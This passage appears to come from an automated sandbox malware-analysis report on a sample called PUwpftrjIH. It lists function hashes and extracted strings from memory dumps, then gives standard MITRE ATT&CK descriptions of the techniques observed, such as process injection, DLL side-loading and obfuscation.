Instruction Fuzzy Hash: 2D914D70E1021A8FDF20DF68C990B9DB7B1FF89310F208599D549AB355DB70AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0727E740 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5854ed2c2c18d6a7c3b66bcca650fec35ab8cb0209be3331042b490cf516714d
Instruction ID: 0e02e0f25021476cf2c017763b1196dca7f7848cc4ad35007aed21e3f6622180
Opcode Fuzzy Hash: 5854ed2c2c18d6a7c3b66bcca650fec35ab8cb0209be3331042b490cf516714d
Instruction Fuzzy Hash: CF718C71E1031BCFCB15DFA8C5506AEB7A2FF88304F108669D409AB354EB74E986CB91

Uniqueness

Uniqueness Score: -1.00%

Function 072779E8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae7713b21b8b46b2675a904339b57e9f4b4e528d1179f08f49198955049d12f5
Instruction ID: 605c7c1cfbe069dc54085f229b4b81248cc0e431d9918f4abea60fa88b7608fd
Opcode Fuzzy Hash: ae7713b21b8b46b2675a904339b57e9f4b4e528d1179f08f49198955049d12f5
Instruction Fuzzy Hash: 94913C70E1021A8BDF20DF68C990B9DB7B1FF89310F208599D549BB354EB70AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 07278828 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a859e86ec98e831d8071e5aadc521be1cfda20a129cd690fda07dc00eb51319
Instruction ID: 40ffe9a0cadb40a4ae7ef351f3ef67a9dc9449f9cb9e0d309f1169c1f74ca997
Opcode Fuzzy Hash: 5a859e86ec98e831d8071e5aadc521be1cfda20a129cd690fda07dc00eb51319
Instruction Fuzzy Hash: B2417EB1A1060BCFDB20CEA9C985AAFFBF2EB45310F10492AD146D7640D731E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 072757C8 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c5ebbd245d11cd0939183a1d2ba45802fb47c7706fba4c402ccc14ee33e0f0a
Instruction ID: 5e90802c216fbc7c73b70f228e00fa71e8a5292fea2060f87dd3f8b8d4fb6912
Opcode Fuzzy Hash: 6c5ebbd245d11cd0939183a1d2ba45802fb47c7706fba4c402ccc14ee33e0f0a
Instruction Fuzzy Hash: 2B317070E1020A9FCB15CFA6D95469EF7B2FF89300F148529E816EB350EB70AC86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 072757D8 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 719f5709041949eb86878996dd2544696158d30f5d454e55366ccc925a31cc8e
Instruction ID: 4675532d900bd38f8e6edb8c9c120fc240916069a3477bbfc2116822469fe54f
Opcode Fuzzy Hash: 719f5709041949eb86878996dd2544696158d30f5d454e55366ccc925a31cc8e
Instruction Fuzzy Hash: EE313C70E1021A9BCB15CFA6D55469EF7F2FF89300F148929E816EB354EB70AC86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 072772C0 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c3c1e48bcdc9d786c6f90b68a1da66eae4b95cb7f8b818a0013dd3e9088abb
Instruction ID: 670bd849e51147d160babc48b30efdf9bb0549a86f6d57f0b6862ad65b8a36ca
Opcode Fuzzy Hash: 76c3c1e48bcdc9d786c6f90b68a1da66eae4b95cb7f8b818a0013dd3e9088abb
Instruction Fuzzy Hash: 5031E1B1F102169FDB11CFB9D980AAEBBF5EB4A310F108266E804E7390E730D941CB95

Uniqueness

Uniqueness Score: -1.00%

Function 072772D0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24a496f0a7f6f93e0f17f0e7bd580b8b09bba9330c0838a97d47a3ccee1eda6c
Instruction ID: 3f59ff789ac6b383d4efd996a189950ffdca03d6ae89668ff53cccccb46aced2
Opcode Fuzzy Hash: 24a496f0a7f6f93e0f17f0e7bd580b8b09bba9330c0838a97d47a3ccee1eda6c
Instruction Fuzzy Hash: 3E2177B5F102169FDB10CFB9D980AAEBBF5EB48710F10922AE904E7380E734D941CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0183D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4170909080.000000000183D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0183D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_183d000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb2df04ce44d45230a2b8f5c822493ba035b48b761b1b0e94d8505c257b61554
Instruction ID: ad23cafebc6f88544868fb87ac798af55871d5ceb011c8a4f41852f1c8c7a362
Opcode Fuzzy Hash: eb2df04ce44d45230a2b8f5c822493ba035b48b761b1b0e94d8505c257b61554
Instruction Fuzzy Hash: F7214271104204DFCB01DF68C9C0B26FBA5FBC4718F68CA6DE8098B252C73AD446CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0727A53E Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef6b9157aa3522d9bfcf1b021f852faab46f507aa2d96daba21554cff5b90ca
Instruction ID: da6671c17af231900e26e540af5191c285bc58f7be5f45a931282afe5ab09836
Opcode Fuzzy Hash: 6ef6b9157aa3522d9bfcf1b021f852faab46f507aa2d96daba21554cff5b90ca
Instruction Fuzzy Hash: C1218170B2011A9BDF14DA6DEA5069EB7B6EB84320F14C525E405D7340DB34DD42CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 072773CF Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37a9badc587e65f7ba1648f5b7286eeb0e5899e03c47bd18fd0d6448fe3b3aa6
Instruction ID: 1ee3370343a5860a5e50ac09199dc6a93ea670498fd0d208706a2be80e8b903d
Opcode Fuzzy Hash: 37a9badc587e65f7ba1648f5b7286eeb0e5899e03c47bd18fd0d6448fe3b3aa6
Instruction Fuzzy Hash: AE11C672B101165BDB189A78DD206EE7BEAEBC8310F04457AD409DB344EE748C478786

Uniqueness

Uniqueness Score: -1.00%

Function 07277619 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59b35eb35a26162b39adfafce10b8ab4d2be66791f06654548550fd27b14bad9
Instruction ID: d0ab7314791a27746f49a2164d6d52a31da77680c039840b7662b57ebc66e79e
Opcode Fuzzy Hash: 59b35eb35a26162b39adfafce10b8ab4d2be66791f06654548550fd27b14bad9
Instruction Fuzzy Hash: 850192707001531FDB21967EA91476ABBEBCFCA710F28C42AE509C734AE975CC4283A6

Uniqueness

Uniqueness Score: -1.00%

Function 072773E0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebf2aa16b9ccbe0559959cd24294ac0d93ff59aea1f329cc86105a563166ccf3
Instruction ID: ade348f167a70a8e9f8b2f2b060d825af8780d1be046bad0dc4999c7e5047d32
Opcode Fuzzy Hash: ebf2aa16b9ccbe0559959cd24294ac0d93ff59aea1f329cc86105a563166ccf3
Instruction Fuzzy Hash: B911A531B101295BDB189A78C924AAF77FAEBC8714F004536C40AE7344EE75DC028B92

Uniqueness

Uniqueness Score: -1.00%

Function 07277099 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f38592223f36249e3d60bc7cf7b2c65935e07853f1f3fd957fb1914f6996a642
Instruction ID: 57e078b182aaa1adcd523b8f4140f2113853151b43fc7d300aff39ebccec8692
Opcode Fuzzy Hash: f38592223f36249e3d60bc7cf7b2c65935e07853f1f3fd957fb1914f6996a642
Instruction Fuzzy Hash: 4121C3B5901259EFCB10DF9AD984ACEFFB8FB49320F10852AE958A7200D3746544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0727DB28 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ddad3e76c7a3719f6e363fe5fb740f820800bd315fed1791ee308125523bf7e
Instruction ID: a60eafc84db8496d65830c1c7d3bae5398cdce206c68e00bf4c3baae665c9835
Opcode Fuzzy Hash: 6ddad3e76c7a3719f6e363fe5fb740f820800bd315fed1791ee308125523bf7e
Instruction Fuzzy Hash: 7501FC707101136FCB11DA3DE96476ABBE6EF8A720F14556AE40AC7341EA34DC42C796

Uniqueness

Uniqueness Score: -1.00%

Function 0183D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4170909080.000000000183D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0183D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_183d000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 0b32a99ac848766dbd43268ebc53c453416777767740fb27b3be532d0e39f187
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 3511D075504244CFDB12CF54C5C4B15FF61FB84314F28C6A9D8498B252C33AD54ACF91

Uniqueness

Uniqueness Score: -1.00%

Function 0727C240 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9ba412c38a2eab7ff7b03e0124514a13fdbb4458376a9e4a83e851248178aa9
Instruction ID: b5cd582662afa3a7f2ad8433668164f5d98e43674996d6267c00339abfc3e49e
Opcode Fuzzy Hash: b9ba412c38a2eab7ff7b03e0124514a13fdbb4458376a9e4a83e851248178aa9
Instruction Fuzzy Hash: 2101BC31B1120A5BEB248AB4EC607EB777AEB85314F1005BBC50ED7340DA319D828BE2

Uniqueness

Uniqueness Score: -1.00%

Function 072770A0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05cd8a374dd67a55d10f4fa68d664541933238a129f18e031d3674522d2b4ff2
Instruction ID: fdfd3f2c1d33913118036274397f78f8ed8c7c28ef75f8bc7ad40c72266494d8
Opcode Fuzzy Hash: 05cd8a374dd67a55d10f4fa68d664541933238a129f18e031d3674522d2b4ff2
Instruction Fuzzy Hash: F411C2B1D01219AFCB00DF9AD984ACEFFB4FB49320F10852AE918A7300C374A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07277628 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 883107e2883a081fe50189c3305eec9403f0021683f3c93a85d44b03681b5db5
Instruction ID: 4218d89cc040745421d6021e77e446a425fd90e26a30e08750549dfb0d598571
Opcode Fuzzy Hash: 883107e2883a081fe50189c3305eec9403f0021683f3c93a85d44b03681b5db5
Instruction Fuzzy Hash: 31016D71B101121BDB24996EE51472AB2DBDBC9720F24C43DE50EC7348E975DC428396

Uniqueness

Uniqueness Score: -1.00%

Function 0727DB38 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab254321f5e71d176fac2329257bb09d8a69d8416ce34dd0909c6330ae2d44eb
Instruction ID: 57e79d6e0963f7c25a5adbebd88cbafaae7a9aa6061d6ebb8ccc61ebd585cc59
Opcode Fuzzy Hash: ab254321f5e71d176fac2329257bb09d8a69d8416ce34dd0909c6330ae2d44eb
Instruction Fuzzy Hash: B401A4707100125FDB24DA3DE96072AB3DAEF89720F10A539E50ECB344EA35EC428785

Uniqueness

Uniqueness Score: -1.00%

Function 0727989B Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64e00c1b02fcea054a964aba6b38a513bd4b107acb11f43cadafc888d8e8b1f5
Instruction ID: 94cf1d13ca040c3b925694c68d7569ba3cf6e5d5713e6b10be66325f36f7ed9e
Opcode Fuzzy Hash: 64e00c1b02fcea054a964aba6b38a513bd4b107acb11f43cadafc888d8e8b1f5
Instruction Fuzzy Hash: 2DE09BB0D1734A6FDB11DAB0CA0579A7BA99B03108F1484E6D448CB242D675DA45C791

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0727AEC8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 0727AFE1
$^q, xrefs: 0727B01E
$^q, xrefs: 0727B453
$^q, xrefs: 0727B3AA
$^q, xrefs: 0727AFED
$^q, xrefs: 0727B449
$^q, xrefs: 0727B43D
$^q, xrefs: 0727B012
$^q, xrefs: 0727B45F
$^q, xrefs: 0727B39E

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: fd540ded7b52a3903574d058d5f0ea1f81d0a118f8c79c5ff5c30b63b31a948d
Instruction ID: 354068ed885f942696ee224229fce1b1d81c8032502a5e184095230275e68476
Opcode Fuzzy Hash: fd540ded7b52a3903574d058d5f0ea1f81d0a118f8c79c5ff5c30b63b31a948d
Instruction Fuzzy Hash: 7F123EB0E1021ACFDB24DF69C954AAEB7F2BF89704F208569D409AB354DB319D85CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0727E158 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 0727E2B5
$^q, xrefs: 0727E24E
$^q, xrefs: 0727E25A
$^q, xrefs: 0727E30A
$^q, xrefs: 0727E2D4
$^q, xrefs: 0727E2A9
$^q, xrefs: 0727E316
$^q, xrefs: 0727E2E0

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 908ffeb9777e239dbc5c0a92fb6d1f70de6dc4198599acd7ad7566ef987ca2c3
Instruction ID: b278d3abf5c6ab733fdb22fc5b0867527b47e7605065b68eb01260aff7f27131
Opcode Fuzzy Hash: 908ffeb9777e239dbc5c0a92fb6d1f70de6dc4198599acd7ad7566ef987ca2c3
Instruction Fuzzy Hash: 6691FFB0E2020ADFDB28DF64DA54B6EBBB2FF84704F118569E4019B350CB749C45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0727E4F0 Relevance: 10.2, Strings: 8, Instructions: 180COMMON

Download Yara Rule

Strings

$^q, xrefs: 0727E69F
$^q, xrefs: 0727E61D
$^q, xrefs: 0727E693
$^q, xrefs: 0727E6BC
$^q, xrefs: 0727E670
$^q, xrefs: 0727E664
$^q, xrefs: 0727E6C8
$^q, xrefs: 0727E611

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 1edae186ddc62a0bb97e9bbc666c6cbb732b33878b9170619821ba261a2c3fe9
Instruction ID: b4eb22e09dfe2d5fe1ac061aca9c8a939a589e782ca3c54a6c65c7306c39bc45
Opcode Fuzzy Hash: 1edae186ddc62a0bb97e9bbc666c6cbb732b33878b9170619821ba261a2c3fe9
Instruction Fuzzy Hash: 3551C170F2020A8FCB29DB68D69466EB7B2EF88310F2585AED405DB354EB34DC45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0727A8C8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 0727AC04
$^q, xrefs: 0727AC10
$^q, xrefs: 0727ADD0
$^q, xrefs: 0727ABAA
$^q, xrefs: 0727AD64
.5vq, xrefs: 0727A923
$^q, xrefs: 0727ADDC

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: 3ca64d7f051bb461c620951b0588b15eaaab8401fa1791d1b96292c733bb25b0
Instruction ID: 52068d677a5f32002406b3dec01b4ac838ecdc5ac5faa19023ba5538955220aa
Opcode Fuzzy Hash: 3ca64d7f051bb461c620951b0588b15eaaab8401fa1791d1b96292c733bb25b0
Instruction Fuzzy Hash: ECF16B74B1120ACFCB19DF68D594A6EB7B6FF88310F248569D4459B3A4CB35EC82CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0727BC00 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 0727BECB
$^q, xrefs: 0727BE66
$^q, xrefs: 0727BE5A
$^q, xrefs: 0727BEBF

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 70743b793b8946abe6a431bdf4ce551f98e307ab0206ab2cc0eafdb5481f78a1
Instruction ID: fc532eb4d4a858a48e933fd1fd05b259d73dcedb34cac5d6d35951da8af64f36
Opcode Fuzzy Hash: 70743b793b8946abe6a431bdf4ce551f98e307ab0206ab2cc0eafdb5481f78a1
Instruction Fuzzy Hash: 18B15BB0A1020ACFDB18DF68D69466EB7B2FF88704F248529E409DB354DB34DC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0727C018 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR^q, xrefs: 0727C10B
$^q, xrefs: 0727C097
$^q, xrefs: 0727C0A3
LR^q, xrefs: 0727C15A

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: 1e749080851d25882064660c9e6b7eee5b38d9e93e3e8cea9349650655c03824
Instruction ID: 928f606e513a326cd61f0c7935f539497db5e599220d65ed12f86588479aa987
Opcode Fuzzy Hash: 1e749080851d25882064660c9e6b7eee5b38d9e93e3e8cea9349650655c03824
Instruction Fuzzy Hash: 2C51D5707102028FCB18DF78DA54A6EB7EAFF89700F149569D8059B355DB35EC84CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0727E4E1 Relevance: 5.2, Strings: 4, Instructions: 164COMMON

Download Yara Rule

Strings

$^q, xrefs: 0727E693
$^q, xrefs: 0727E6BC
$^q, xrefs: 0727E664
$^q, xrefs: 0727E611

Memory Dump Source

Source File: 0000000C.00000002.4184275333.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7270000_PUwpftrjIH.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: b2362b16e50a6e162e73c728f7ad3abdfb5254f266f6bb8b093dc1dae5e5a021
Instruction ID: 4065ed35c3953db275e522c6fc15ed8ed4543b896237492e1bfb35a8c986d637
Opcode Fuzzy Hash: b2362b16e50a6e162e73c728f7ad3abdfb5254f266f6bb8b093dc1dae5e5a021
Instruction Fuzzy Hash: 2A51B4B0E2020A8FCF25DB68D69066EB7B6FF89310F1585AAD805DB354DB35DC41CB61

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

